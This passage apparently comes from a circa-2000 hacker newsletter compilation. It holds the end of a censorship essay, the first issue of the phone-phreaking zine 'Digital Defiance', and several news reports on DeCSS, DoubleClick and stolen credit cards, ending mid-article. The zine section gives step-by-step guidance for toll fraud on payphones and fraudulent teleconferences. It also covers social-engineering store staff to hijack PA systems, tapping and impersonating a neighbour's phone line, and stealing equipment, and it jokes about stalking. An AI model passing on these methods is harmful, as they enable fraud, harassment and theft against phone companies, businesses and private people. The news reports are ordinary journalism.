they're implementing the violence many students just think about? My
opinion is yes; I've even tempted to say majority by far think about
violence as an outlet.
"Wackos" just don't think about violence; everyone does and sometimes we
actually do what we plan. I'm not trying to justify what these people do,
but I'm saying this isn't just some isolated cases. Something is wrong.
I personally think it's new presures in society today and the school
enviroment. Keep in mind that the basic idea/concept of how school works
has never changed. This "concept" isn't education, it's the enviroment,
which is stressful and obviously causes violence. You may say something
to the effect, "Stress is a natural part of life". I agree with you, but
these are CHILDREN we're talking about, and they obviously can't cope.
Back on the subject of unalienable rights. If we make an exception,
we'll find ourselves taking away our own rights, _one_by_one_. There is
NO exception, these are our RIGHTS! There will always be someone you
disagree with, but you'd better respect THEIR freedom, if you want them to
respect YOUR freedom. Because one day, your thoughts may not fit in with
the majority.
End points:
People in the Untied States of America have the right of press; we can
write about anything and everything. If you dont like it, leave. See how
other goverments deal with these things, and tell me how much you hate
liberalism.
Leave and go to a country where you can't say jack, and tell me how much
you'd like to shut up those boisterous protestants. This issue isn't
something new. Censorship itself is an exception we've made, and it's
wrong.
***********************************************************************
*** Future Issues
***********************************************************************
The gh0st.net Project (Part 2 of 2) : Phatal
Creating Restricted ("Sandboxed") User Accounts : Fict
***********************************************************************
*** Credits
***********************************************************************
Editor: Kynik <kynik@gh0st.net>
Co-editor: Ajax <ajax@gh0st.net>
Article Contributions: Phatal <phatal@gh0st.net>
Blakboot <blakboot@discussion.org>
***********************************************************************
*** Subscription
***********************************************************************
To subscribe to this 'zine:
email kynik@gh0st.net or napalmzine@hotmail.com with a subject of
SUBSCRIBE
To unsubscribe:
email kynik@gh0st.net or napalmzine@hotmail.com with a subject of
UNSUBSCRIBE
Submissions, questions, comments, and constructive chaos may also be
directed to kynik@gh0st.net, napalmzine@hotmail.com or any of
the contributors
***********************************************************************
-=-
And here's Digital Defiance Issue #1:
:::::. ...
::::::. ::::: ::::: ':::::
::':::::. ''' ::: ::::
:: ':::::. ::. ... ::::::: ::::
:: .:::::: ::: ''' '':::'' ::::
::.:::::::'.::' .:::::. . ::: ::: .:::::. ::::
::::::::'.::: .::' ':::: ::: ::: ':::'':::. ::::. .:
:::::::'.:::::. ':::...:::: .::: .:::. '::::::'::. .:::::::::::
'::::'::'
.::'
.:::' .... .... .... ... .... . . .... ....
.::' .::::' : : :.. :.. : :..: :' : : :..
'::.:::::' : : : : : : : : ': : :
'''''' '''' '''' ' ''' ' ' ' ' '''' ''''
Art By Pyro
Disclaimer:
All the below mentioned information is published for educational purpurposes only I myself nor
any staff member of Digital Defiance promote criminal activities, please don't use this info to
tarnish the reputation of "hackers" or "phreakers" worldwide.
Table of Contents:
1. Introduction -Xenos
2. Feature of the Month:DialPad.com -Pyro
3. Intercom Fun -Xenos
4. COCOTS and other privately owned payphones -Pyro
5. Various Call Tracing Devices and Services -Toxis
6. Closing and Various Thoughts and Comments -Digital Defiance Staff
Protection is an Illusion - Xenos
1. Introduction
Here it is the first issue of Digital Defiance. Let me provide some background info, On
June 13th of 1999 after the PLA 919 site had been taken down due to the fact that Code Zero
it's former founder had moved I decided to put PLA 919 back on the net. July 1st of 1999
Pyro joined up with PLA 919, it was the start of a good friendship. germ a friend of mine had
joined but was not prodominantly in the scene and so she left, Spy109 started PLA 252 and so
he left. On July 5th of 1999 I put out the first issue of PLA 919 along with an article or two
from Pyro and two from germ. After months of diliberation I decided I would freeze PLA 919 as
a "zine" and keep it up as a page for NC phreaks to meet. I didn't like the negative
connotations that arose with the acronym PLA and I felt that after some time I would do better
also with an independent organization. Me and Pyro decided on Digital Defiance. As of now
the staff members of Digital Defiance are myself(Xenos), Pyro and a boy by the name of Toxis.
Digital Defiance is situated at digital-defiance.hypermart.net but if you have this article you
probally know that. After the available funds are aquired I will be registering
www.digital-defiance.org. As for now hypermart is great. I hope that the readers of Digital
Defiance are satisfied and will continue to be. Now the cheezy part, SHOUTS:
Pyro, Toxis, Geo, Tory, Kimmie, Ivy, Twinjames, Oktium, oreo, Claudia(better luck next time),
Gibson, Nikita, nite, Courtney, Yerba, heX, Subconcious, Myth, peak, Beaty,
lots of other people that are going to beat me up after they see they aren't on here.
Now on with the show.
2. Feature of the Month: DialPad
Well, I first came upon this one when I was looking for a way to get my computer to record my
prank calls directly, instead of to a tape recorder and then to my computer. One of my friends
suggested a service called DialPad so I checked it out. I was never able to DialPad to work
that way because the computer only records my side of the conversation well but the other side
is left sounding faint and distant but the service is still kick-ass.
So, what is DialPad? DialPad is a free online service that allows you to make uncharged calls
to about anywhere. It does not allow 900 numbers from what I can tell, so you phone sex freaks
will have to take it elsewhere. Basically what happens is when you log into your account is
this nifty Java applet pops up which allows you to make phonecalls. You punch in the numbers
and then press dial and there you have it. You can even call someone else who is on the service
if they are using dial pad at the same time but it sounds real messed up. Some other problems
I have encountered is that your voice seems kinda lowered and distorted to people on the phone
that you call with DialPad but they can still make out what you are saying. In many ways that
is almost a plus as it makes for hilarious pranking. My personal favorite is calling
1-800-COLLECT and getting operator assistance. It's real fun to just trying to get into
conversations with the operators.
Now, you would probably hold back from pranking because you don't feel like getting in trouble,
right? Well, actually, the ANI always seems to return an "Unknown Number" and I have tested
this on many different ANI's and VMB's and even the freaking operators seem to be stumped. For
example, a couple times, I have called up an operator and in the background, in the bakaround
I heard a lot of funny stuff. Some of them were saying "God damn it, who is this guy!?" and
"Man, where are those little fuckers calling from?!". I laughed my ass of while they bitched
to their coworkers and then hung up on me. One time, I called an operator and I mentioned that
I had been pranking them a lot that night (jist to piss her off) and she said "Well, yes. We
have been getting a lot of reports of that kinda thing." So, I asked what my number that I was
calling from was and well I could practically hear her head almost explode as she said that it
"was none of my business!" This made me laugh because it was my business. I mean, I was calling
from that number. It goes to show you that they really cannot trace you.
So, stop by DialPad.com and have fun. One thing I suggest is that you give 'em fake info so if
they do get that far, they wont get any further. Have fun and be careful!
3. Intercom Fun
So hmmm its rainy today and you are really bored? I have the remedy, your not paying the money
for long distance calls to friends, your tired of TV, being a conf. whore just isn't settling
with your stomach so, you give stuff away free at K-Mart. Wait you say, I don't want to go to
K-Mart and those of you underage are saying you can't drive, so why not take the PA.
The Planning:
There isn't much planning on my case cause I come up with fake names like that and fake titles
and posistions in companys like that so just go grab your phone book(if you don't have on and
say your a phreak go get one now before I beat you up)and look for the addresses of two
different K-Marts(you can substitute Target, Wal-Mart, etc..) Dial the target K-Mart and repeat
something similar to the following, "Hi this is Jake Watson over at the Hamilton store, are you
guys having some problems with your PA system(some people say intercom)" be sure to have
gotten the manager first most of the time the other employees are just plain dumb. He will
tell you know of course at which point you will say "Well we have been and I don't know what is
going on, usually we use #50 and I remember the old manager said you guys had the same type
system as us. I was just wondering" Let him get some words in it makes him feel special he
will probally just tell you that its working fine for him he doesn't know what's wrong. You
might even want to make up a sympton first like its giving you static when you press #50 or
something like that. Then say "Well what is the extension you guys over their use?". Hey will
tell you after all you are over at the Hamilaton street store why would he suspect you are just
some no good punk trying to give away his store? Say well thanks anyway and say you will try
that and have a good day and all that.
The Strike:
Later on call the store back, you will probally get the help desk or something, I recommend
getting transfered to gardening or toys or something cause the help desk will probally say no
when you asked to be transfered to extension #8090 and they recongize its the PA extension.
Some places like Target I have heard will just transfer you back to the help desk if you ask
to be transfered. Sometimes you get places that are like just hit #something when I put you
on hold. Then hit the intercom extension. You can stuff all sorts of stuff. At a BeyondHope
convention they told everyone in the store that everything on Isle 4 was free, maybe say you
are the manager and spout racist statements. In the end no one really gets hurt and you are
happy. I once thought of getting a friend to be in electronics and then say everything there
was free. I knew that if everyone grabbed stuff the alarms would go off like mad and your
friend could slip by un-noticed. I don't recommend theivery though.
Ok so I have told you what to do with K-Mart. What about school fun. This was actually an
idea I had early on when I first went to school and it was actually done as a senior prank by
some other guys. Most schools if not all schools have an intercom system to page teachers and
students when they need them to suspend them or bitch at them for showing bad movies or
something of that nature for either students or teachers. Fortunate for the average student
most school employees are really stupid when it comes to the technological aspect of their
work. For instance, my school allows use of all extensions from any phone hooked up to the
school's phone line. So say you were a senior and you drilled a hole in the side of the
trailor and ran it out to the parking lot and played some vulgar tape after pressing #00 you
would have it played throughout the school just because you have an extension. You might try
a manual hand scan of the phone numbers that your school owns, just a tip on that. Get any
number of your school and the first five digits are the ones it owns like 856-79XX or something
like that. Sometimes you might find that your school runs a PBX and that you can abuse them
further. Getting the extension numbers isn't hard they are probally posted behind the desk in
the office just because the secretarys are too dumb to remember them. So just try to find a
number for the school that will give you and outside line or beige off the side or something
like that.
A lot of diff. places use paging systems that are often times tied into the PBX system or have
the phone systems integrated into them. Try using the line "Can I get an outside line" a lot
and mention you are from so and so department or you are testing such and such. Sorry for the
brief cut off of information I had started this in the mood to write a really large article
but I had stopped half-way through and had to come back to the zine and keep writing so its not
as good as I planned it to be.
4. COCOTS and other privately owned payphones
===
Introduction
===
Many of you have probably heard of COCOTs at one time or another. Maybe somebody mentioned it
briefly but you didn't know what one was. Well, simply put, COCOTs are privately owned
payphones not controlled by Ma Bell. COCOT stands for Customer Owned Coin Operated Telephone.
Sounds neat, eh. But where are these "COCOTs?" They are everywhere! They are at convenience
stores, malls, schools, clubs, and tons of other places like that. A convenience store down
the street from me happens to have three but how do I know that these phones are COCOTs? Well,
some of a COCOT's distinguishing features include:
-The COCOTs never have their phone number listed on them (they don't like you to have it)
-They will not have the AT&T logo or whatever on them. This is mainly because they use
expensive rip-off carriers so they can cash in.
-They have some nifty stuff inside em (not visible but very detectable as I will explain
later)
-They are run on standard telephone loop lines instead of the "special" payphone loops
There are some other unique things about them but those seem to stand out in my mind the most.
Plus, those are the best ways to identify them. The not having the local phone company logo on
them is probably enough to pick one out by it self alone already but I have been tricked by
this one GTE phone at my High School. The GTE logo was hidden but I did see that it's phone
number was listed so you can see that they are pretty easy to pick out of a lineup by checking
for the features I listed above.
In this article, I will try to keep the information as factual as possible but I may get into
theory a little bit with the things IM not sure of.
===
The different types of COCOTs
===
I've done some major research on COCOTs and I have gotten the most common ones you'll find and
I will describe them here.
-The Elcotel series 5
Elcotell phones are pretty simple. They run on line power and will not do anything if
disconnected. They are pretty common and you could probably pick one out right after you had
dialed a number because faintly in the background you can hear the number being redialed (and
pretty slowly too). These phones take the money after your call is over and they will ask for
more if it is required in a fairly human like voice. It is pretty fun to call them and mess
around because when you call and their modem shuts up you can dial number and it thinks that
it is placing that call. If you call it and do nothing it will read out it's number and how
much money it has acquired. I have heard of another type Elcotel phone being used but I have
never seen one.
-The Ernest Telecom D1
Once again this phone is not the only made by the company but it is the most common. This COCOT
is unique in that it uses a fake dial tone which is hard to distinguish from a real one but
it's there. These guys work on a supplied power line and wont work if the power is out. These
particular phones have a nasty sounding robotic voice that gets kind of distorted sometimes
and when you call them a modem answers. Another model I have seen of theirs is the D3 which
uses a real dial tone but I wont get into to much depth with this one...
-The Protel models
There are a couple different protel phones in use today. Those are the Protel 2000, 4000, 7000,
and 8000, models. From what I hear the 8000 and 4000 are fairly similar. I have personally
never run into these but I hear that they are more widely used along the western half of the
US. I don't know too much about them so I will just mention their existence.
-The Intellicall phones
The first of two models commonly used is the ultratel. These things are pretty old but you can
still find em in rural areas. they aren't to much to look at and they have an annoying
computerized voice. These phones are pretty fickle about dialing procedures and they will get
on your nerves pretty quickly. When you place a call and the receiving party answers the phone
will play the 1 tone a couple times to prevent fraud but I have not heard of anyone doing
anything to mess with those anyway.
The other model made by intellicall is the astrotel. it is newer and has a less annoying voice
that sounds more like an actual human. Now these phones happen to have a 14,400 baud modem
which is not bad for an ugly payphone. These phones also do the 1 tone thing when the phone is
answered so if you plan on scamming these your out of luck.
Well, there are probably a bunch more COCOT type phones out there but I mainly know of these.
If you know of any others of significance, send some info on them in and I may alter this
article to include that phone.
===
So what's so cool about these phones?
===
As you have read there are varied types of COCOTs and each is slightly different. And with each
phone there are certain flaws. On some phones (I have not got the documentation of which) you
can get real easy free calls, providing that the phone does not mute the microphone in the
handset after you are hung up on. Getting any ideas? Well, on those nifty little phones you
can call up some random 800 number and when the number answers you, just keep quiet. They will
get tired of listening to nothing and will then hang up on you. Now, instead of setting the
phone back down you would wait and then hear a second dial tone. Now, you would be able to
punch in your real number and call up your friend. Well, not exactly. When the person on the
other line hangs up on you, the phone deactivates the keypad so you have to hang up to use it
again. I have actually heard that in some instances the buttons will be locked in place. I
thought that was weird but it is still somthing you can bypass and in the same way too. You
would whip out your trusty Radio Hack tone dialer and dial away. Yep, free calls. I have done
it a few times but at the time I could not pick out different types of COCOT models, so I don't
remember which models allow that kind of thing. It can be done, all I need to do is keep
searching. Now, I have only heard other people's stories but they suggest to me that are easy
to red box. Since it is a regular line and the phone deals with everything by it self, the
phone company cannot catch you. I have not boxed a COCOT myself or even seen it done first
hand but I will probably try to box a COCOT someday.
Another nifty thing you can do with many COCOTs involves the modems that they have inside.
When a customer purchases a COCOT, they receive a couple things along with it. They will get a
manual of course but in addition to that they will get a cool software package. With this, the
owner can dial into the COCOT and communicate with the modem. That way, they can remotely find
out how much money it has and maybe some other stuff depending on the model. If someone could
get their hands on that software, they would have some fun with it, IM sure.
===
Alliance Teleconferencing
===
Another cool thing to do with COCOTs is to set up an alliance teleconference. It is fairly
simpler than the name suggest with it's 5 dollar words and all. To set one up on a COCOT, you
would probably want some ulterior, nontraceable way of getting in touch with you (yep, this
requires social engineering). One method that comes to mind is setting up a Ureach account.
All you do is go to www.Ureach.com and you can get a 100% free VMB. Now getting back to
setting up that conference. So after you pick a target phone, you call the AT&T teleconference
setup number at 1-800-232-1234 (there are others but this one is the single best I know of).
They will ask you for info and you just give them what you want them to know. After they ask
all that stuff they might want to know and they ask for the number they can reach you at, tell
them that you are calling from your business phone (yes, it is suggested that you say it is
for a business conference) but you will be out for the next few days (or around how long it
may take to set up the conference) and that they may reach you at your VMB (yep, the one you
set up and also try to make the VMB greeting sound legit as it will add to credibility). Now
you wait and they will call your VMB in a while with all the info you need. Once this is done
you have a conference waiting to happen.
Note: It is not suggested that you use the admin. code to access the conference so that they
cannot prove that you were the one to have set it up in the first place. So when you get in
there and they ask you how you got into the "fraudulent" conference you simply say that some
guy online said to.
===
Closing
===
Well, I hope this was informative for you. I actually learned some stuff too while I was
gathering info. I would like to thank toxis for inadvertently giving me the idea to write this
article and I would also like to thank El Jefe for having an informative payphone website at
which i gathered info on specific COCOT models and Xenos for the info on dialing into the COCOT
modems.
5. Various Call Tracing Devices and Services
Caller ID - CNA - ANI - ANAC
--
How does the telco trace all those prank calls you've been making to that op
who really turns you on? Well, if you're smart, they won't be able to use
CallerID to get your number, but it is a possibility, so let's examine that
first.
The technical workings of CallerID are very easily found. A good text on it
is available at http://www.flinthills.com/~hevnsnt/newbie/callerid.txt and
tells you everything you'd never need to know is there. And it really would
not make sense to write it all here, but here are the basics. When you make
a call, it has a header (not unlike an ICMP header) which tells the CallerID
box which every yuppie owns that you are calling from 1800-P00P-SEX and your
name is Tom. This way, they can call you back, or bitch you out. But what if
you're blocking CallerID info? How does that sexy op at Bell know your phone
number? Well, either you gave it to her, or they used a service called ANI.
ANI stands for Automatic Number Identifier. You can use ANI too. What ANI
does, is it reads back your number. That simple. Don't worry about HOW it
works, but know it does. ANI numbers are useful for you naughty beige boxers
because it tells you the number you are calling from. This way, you can set
up a conf for everyone in #2600. A close relative of ANI is ANAC.
ANAC is really just ANI but local to an area code, and sometimes open to the
public. ANAC stands for Automatic Number Announcement Circuit. In most areas,
ANAC numbers are like Directory Assistance and have a 3 digit code. In some
places, it is 711 or 200. Dialing it will read back your number. Same uses as
above. And one thing useful for messing with people along with these is CNA.
CNA is Customer's Name and Address. Any guesses as to what it does? It tells
you the name of address of a specified phone number. I have successfully used
411 to do this, without a true CNA service, or something like infospace.com
which I recommend highly. If you're (God forbid) stalking someone, and you are
calling them constantly, and want to know where they live, you could get their
CNA and then go to teir house and show them your willy. Note: CNAs are almost
never open to the public, so you can try to get the bitch at 411 to do it for
you, or you could use one, albeit illegal.
Something many people overlook is the ability to mess with someone through a
combination of these, or get free 3-way-calling. What you do is, first, go to
phreakers university in Canonsburg PA, remember, the Phone Fraud Fox says we
are 'taught'. Take Social Engineering 1, 2, and 3. Now go to your neighbor's
telco box, and hook up your beige box. Now call an ANI or ANAC and now you got
their number. Next, get the CNA for that number. Now, call up the telco, its
GTE here, soon to be Bell Atlantic ;-), and get them to add three way calling
or ask them if its been installed yet, saying the service was giving you
trouble. Act like the person whose name you got in the CNA record, and you're
set. Now just run some line (you can get this by going with a friend,
distracting the lineman, and having one of you grab a spool and toss it into
a bookbag) to your house, and hook it into the rack of modular jacks, patch
cable, and switches, and the light which tells if the line is in use. Now,
whenever you want to three way call, clip after where you connected your line
(could install a device which open/closes the circuit) so they cant pick up,
and three way call your 31337 friends.
6. Closing and Various Thoughts and Comments
I wanted to appologize for the fact that Toxis' article isn't like the rest of
the zine, its just the difference between him using his text editor and me and Pyro ours and
I don't feel much like fixing it out being as I have a lot of stuff to do aside from this.
- Xenos
I am sorry for the slow upgrading I suppose of the Digital Defiance site like I said I have
lots to do aside from this. I have had some conflicts with other online related events that
turned out to be fine but for a night I didn't get online. I think that once the vacations
come etc... I will have time to pay more attention to the zine and the site and I will have
my laptop then so I can work on the articles everywhere.
- Xenos
We do accept article submissions for review and possible publishing them in Digital Defiance
later issues. This first issue only has a couple of articles because we wanted to start small
and build up. Feel free to send questions, comments, mail you want in the issues to
DigitalDefiance@juno.com
- Xenos
Hey, this is Pyro. I would like to thank the other members of Tele-Hell and Digital Defiance
for their continuing support in my efforts. I hope you all really like our first issue. This
has got to be one of the best things I have ever taken part in and IM glad I had the
opportunity to meet Xenos and be able to construct out very own zine, he truly is 13370. Well,
that's about it for now. Oh, and if you want personalized graphics (smell a shameless plug?)
drop me a line.
Thanks again...
-Pyro
(C) Copyright, Xenos 1999
Unless special permission is obtained from Xenos none of the pre-ceeding information can be
used without the name of the original writer on it.
@HWA
86.0 HHN: Feb 2nd: WorldWide Protest Against MPAA Planned
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Macki
Members of the hacker and open source communities
worldwide, along with various civil liberties groups, are
planning a massive leafletting campaign on Friday,
February 4 to call attention to the recent attempts by
the Motion Picture Association of America to shut down
thousands of web sites.
Press Release
http://www.hackernews.com/press/2600DVD.html
Open DVD
http://www.opendvd.org
2600
http://www.2600.com
February 2, 2000
FOR IMMEDIATE RELEASE
DAY OF ACTION PLANNED AGAINST MOTION PICTURE
ASSOCIATION IN 100 CITIES
Members of the hacker and open source communities
worldwide, along with various civil liberties groups, are
planning a massive leafletting campaign on Friday,
February 4 to call attention to the recent attempts by the
Motion Picture Association of America to shut down
thousands of websites.
Lawsuits have been filed against hundreds of people, as
well as an Internet Service Provider and a magazine, for
having information the MPAA wants to keep secret.
The controversy centers around a computer program
known as DeCSS, thought to be written by a 16 year old
in Norway. The program defeats the encryption scheme
used by DVD's which prohibits them from being viewed on
non-approved machines or computers. It also enables
DVD's from one country to be played in another, contrary
to the wishes of the movie industry. It does NOT facilitate
DVD piracy - in fact, copying DVD's has been possible
since their introduction years ago. In its press releases on
the subject, the MPAA has claimed that this is a piracy
issue and they have subsequently succeeded in getting
injunctions against a number of sites that had posted the
program in the interests of free speech.
This is in effect a lawsuit against the entire Internet
community by extremely powerful corporate interests. The
lawsuit and the various actions being planned promise to
be a real showdown between two increasingly disparate
sides in the technological age. The consequences of losing
this case are so serious that civil libertarians, professors,
lawyers, and a wide variety of others have already
stepped forward to help out.
Friday's action will be coordinated in 74 cities throughout
North America and 26 cities in other parts of the world.
Leafletting will take place outside theaters and video
stores in these cities - all of which participate in a
monthly "2600" gathering. 2600 Magazine has been named
in two lawsuits regarding the DeCSS program and has
joined with the the growing number of people who will
fight these actions by the MPAA until the end.
The lawsuit has been filed by the Motion Picture
Association of America, Columbia/Tristar, Universal City
Studios, Paramount Pictures, Disney Enterprises,
Twentieth Century Fox, Metro-Goldwyn-Mayer Studios,
and Time Warner Entertainment.
Contact:
Emmanuel Goldstein
(631) 751-2600 ext. 0
@HWA
87.0 HNN: Feb 2nd; DoubleClick Receiving Protests
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Recent plans by online advertiser DoubleClick to match
web surfers with offline profiles for more targeted ad
campaigns has caused concern among consumer
advocacy groups. The Center for Democracy and
Technology (CDT) is calling for the public to send email
to DoubleClick's CEO and 60 of the company's clients.
The Center for Democracy and Technology
http://www.cdt.org/
C|Net
http://news.cnet.com/news/0-1005-200-1539478.html?tag=st.ne.1002.bgif.1005-200-1539478
DoubleClick under email attack for consumer profiling plans
By Evan Hansen Staff Writer, CNET News.com February 2, 2000, 5:35 p.m. PT
update A consumer advocacy group has organized a protest against
DoubleClick, encouraging the public to email complaints about the online
marketing giant's privacy policies to the company and 60 of its clients.
The Center for Democracy and Technology (CDT) unveiled the campaign
yesterday, calling for a stop to what it describes as DoubleClick's efforts
to use its relationships with prominent Internet companies to track the
online activities of millions of individuals and tie them to those
individuals' offline activities.
DoubleClick denied that it collects information on personally identifiable
individuals in an email response to the campaign sent to it clients
yesterday.
"DoubleClick does not use highly sensitive information for profiling such
as health information, detailed financial information, information of a
sexual nature and information on children," the email reads. "DoubleClick
will not link personally identifiable information about a user to online
behavior without first giving that user notice and the choice not to
participate.
"DoubleClick does not and cannot know the identity of a user online unless
that user has provided that information to an Abacus Online participant who
has provided the user with the appropriate notice and choice."
Gregg Bishop, the vice president for technology
operations at DoubleClick client TheStreet.com, said
his company began receiving emails from the protest
list at about noon yesterday. He said he had
received 2,200 emails from the campaign by early
this morning.
"The first thing we did was turn around and contact
DoubleClick," he said. "We were told that what the
CDT is doing is legal."
Bishop said TheStreet.com does not share information
about its customers with DoubleClick. He said the
company will post a policy regarding its
relationship with DoubleClick on its Web site and
refer people who complain through the CDT's email
distribution list to that statement.
"I've only noticed one complaint that has come from
our more than 100,000 actual customers," he said.
The protest comes after DoubleClick last week
quietly published a new privacy policy that
discloses plans to create a database of consumer
profiles that would include each user's name and
address; retail, catalog and online purchase
history; and demographic data.
The database, which DoubleClick says will only be
seen by the company itself, is intended to help the
targeted marketing efforts of its nascent U.S.-based
Abacus Alliance--an outgrowth of its recent
acquisition of direct marketer Abacus Direct.
Until recently, DoubleClick's policy was to refrain from correlating
personal information with its 100 million cookies, which are scattered
worldwide. But the new database will rely on the cookies, which the company
places on Net users' computers to record surfing habits and display
pertinent advertising. Net users aren't informed when they are given a
DoubleClick cookie unless their browser is preset to do so, but they can
"opt out" through the company's Web site.
The CDT Web site gives consumers instructions on how to remove the cookies
from their computers and opt out of the system. It also includes a form
letter that visitors can elect to send to the public email addresses of
DoubleClick's CEO and 60 of the company's clients.
CDT spokesman Ari Schwartz said the DoubleClick clients targeted in the
campaign were culled from DoubleClick's Web site and SEC filings. The email
is being distributed through a mailing list dubbed "doubleclickwatch."
Targeted companies have the choice of opting out of the list by replying to
the email, although companies that opt out may continue to receive
individually addressed emails.
"To whom it may concern," the message begins. "I understand that you are a
member of the DoubleClick network. This means that you allow DoubleClick to
collect information about what I do at your Web site. I believe that this
practice is objectionable and should not occur without my explicit
permission."
Among the companies included on the email distribution list are AltaVista,
Ask Jeeves, AuctionWatch, Blue Mountain Arts, Drkoop.com, Hewlett-Packard,
Kozmo.com, Network Solutions and The New York Times Co.
Schwartz said that at least 500 emails went out from the site in the first
five hours of the protest, which began at 10 a.m. PST. In that time, two
recipients asked to be removed from the list, he said, although Schwartz
declined to identify them.
Schwartz said the CDT did not know which sites might be involved in
providing personal information to DoubleClick to link online and offline
data about their customers' behavior. But he said the group wants to
harness the public to put pressure on all of DoubleClick's estimated 11,500
clients to protect customers' privacy.
"We want these companies to be aware that their customers are concerned about
this issue," he said.
@HWA
88.0 HNN: Feb 2nd: More CC Numbers Found on Net
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Space Rogue
Someone calling himself "Curador" posted over a
thousand credit card numbers to a Xoom.com home
page yesterday and claimed to have 4000 more.
Xoom.com removed the page but it reappeared on
Geocities a few hours later. The source of the numbers
has not been revealed.
Internet News
http://www.internetnews.com/ec-news/article/0,1087,4_298021,00.html
Another Cracker Posts Stolen Cards Online
February 1, 2000
By Brian McWilliams
InternetNews.com Correspondent
E-Commerce News Archives
Another e-commerce site has been turned inside out by a cracker. Someone
calling himself "Curador" claims to have stolen the entire sales database of an
unidentified online site, including more than 5,000 credit card numbers.
Around 1,000 of the stolen card numbers were posted by Curador late Monday
night at a personal Website hosted by Xoom.com, the online homesteading
site owned by NBC interactive (NBCI) . After being notified about the
Curador site, Xoom took it offline late Tuesday morning. The site, minus
the credit card data, is mirrored here.
Later Tuesday, Curador resurfaced at Geocities, where he posted what he
claimed was the credit card number of Microsoft chairman Bill Gates.
While the incident echoes the break-in and extortion attempt at
CDuniverse.com earlier this month, Curador implied his motives were purely
educational.
"Maybe one day people will setup their sites properly before they start
trading because otherwise this won't be the last page I post to the NET,"
wrote the cracker in a message at his site.
No common shopping patterns were immediately apparent among the handful of
shoppers contacted by InternetNews and whose credit cards were stolen and
posted at the Curador site.
Leslie Lowdermilk, a research analyst in Texas, said she began shopping
online this past holiday season, drawn by the convenience. Noting that
card holders are generally responsible for only the first $50 of
fraudulent charges, Lowdermilk said the incident hasn't scared her off
from making future online purchases.
"When faced with either going to the mall at Christmas time or sitting in
the comfort of my own home and shopping, I would much rather shop over the
Internet than face the crowds. I think most places are reputable, and I've
know lots of people who've done lots of shopping and never had a problem,"
she said.
In the message at the Curador site, the cracker suggests that he exploited
a weakness in Microsoft's (MSFT) SQL Server relational database.
"Greetz to my friend Bill Gates, I think that any guy who sells Products
Like SQL Server, with default world readable permissions can't be all
BAD," wrote the cracker.
According to Russ Cooper, operator of the NTbugtraq mailing list, SQL
server by default installs some files with world readable permission. But
Cooper denied that Microsoft's product was inherently insecure.
"Most commercial software packages install with loose or nonexistent
permissions so that you can get them working easier and then lock it down.
And most people don't," Cooper said.
Notice of the break-in was sent to HackerNews.com early Tuesday morning.
The message headers suggest it was sent using a dial-up account at Global
Internet in the United Kingdom.
According to Space Rogue, one of the operators of the HackerNews site and
a security expert with consulting firm AtStake, the victimized site was
apparently storing credit card numbers on its Web server, despite repeated
warnings by security experts that the data should instead be transferred
to a secure server not connected to the Internet.
"You'd think it was common sense, but every other week we have another
ecommerce site that's vulnerable and attacked, and I don't know how long
it's going to take for people to learn,"
said Space Rogue.
@HWA
89.0 HNN: Feb 2nd: Clinton Cyber Security Plan Draws Fire
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Apocalyse Dow
The recently proposed plan to safeguard critical
systems against cyber attacks is alarming privacy
advocates. Critics of the plan say that it relies too
much on monitoring and surveillance and not enough on
making systems more secure. The director of The
Critical Infrastructure Assurance Office, John Tritak, has
said that the plan is still in the planning stages and will
evolve as time goes on.
InfoWorld
http://www.infoworld.com/articles/en/xml/00/02/01/000201enprivate.xml
WIRED
http://www.wired.com/news/politics/0,1283,34027,00.html
Federal Computer Week
http://www.fcw.com/fcw/articles/2000/0131/web-privacy-02-02-00.asp
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2431233,00.html?chkpt=zdnntop
InfoWorld:
U.S. cyber-attack protection plan draws
criticism
By Jennifer Jones
Privacy advocates Tuesday raised red flags before a U.S. Senate Judiciary
Subcommittee looking into privacy implications of President Clinton's plan
to safeguard critical systems against cyber attacks.
Critics of the plan charged specifically that the Clinton Administration
is relying "too heavily on monitoring and surveillance" instead of
simply focusing on making systems more secure, according to Marc
Rotenberg, executive director of the Electronic Privacy Information Center
(EPIC).
The Clinton Administration last month released its first "blueprint" for
protecting critical government and private sector systems against
hackers.
Called the National Plan for Information Systems Protection, the plan
eventually will loop in critical systems for communications,
transportation, and financial services.
"There is disagreement as to whether an intrusive, government-directed
initiative that views computer security as almost solely defending
'our cyberspace' from foreign assault is the right way to go," Rotenberg
said in prepared testimony.
EPIC officials especially took exception to the plan's inclusion of a
Federal Intrusion Detection Network (FIDNET). Under the plan, a
single government agency would be allowed to monitor communications across
all federal networks.
Rotenberg argued that FIDNET would require notification to all users of
federal systems, including government employees and the public, or
would break various privacy statutes including wiretapping guidelines.
EPIC officials also said that the government's security policy overall has
been inconsistent because it has prevented availability of some
encryption and security tools.
John Tritak, director of the President's Critical Infrastructure Assurance
Office, however, countered that the plan, dubbed Version 1.0, is
still in its preliminary stages.
"The plan is designated Version 1.0 and subtitled 'An Invitation to a
Dialog' to indicate that it is still a work in progress and that a
broader range of perspectives must be taken into account if the plan is
truly to be national in scope and treatment," Tritak said.
Part of the unfolding plan calls for a partnership between Fortune 500
companies and all levels of government to work out details for
safeguarding computers.
The U.S. Chamber of Commerce this month will hold an initial meeting on
private sector contributions to and participation in the plan.
Privacy must play a key part in any efforts to hone details of the plan,
Rotenberg warned.
"I urge you to proceed very cautiously. The government is just now digging
itself out of the many mistakes that were made over the past decade
with computer security policy. This is not the best time to be pushing an
outdated approach to network security," Rotenberg said.
The U.S. Senate Judiciary Committee's Subcommittee on Technology,
Terrorism, and Government Information, in Washington, is at
www.senate.gov/~judiciary . The Electronic Privacy Information Center, in
Washington, is at www.epic.org . The National Information Protection
Center, in Washington, is at
www.fbi.gov/nipc .
Jennifer Jones is an InfoWorld senior editor.
-=-
Wired;
http://www.wired.com/news/politics/0,1283,34027,00.html
Cyber Safe or Gov't Surveillance?
by Declan McCullagh
10:40 a.m. 1.Feb.2000 PST WASHINGTON -- A government plan to monitor
networks for intrusions goes too far and will lead to increased
surveillance and privacy violations, a civil liberties group told a Senate
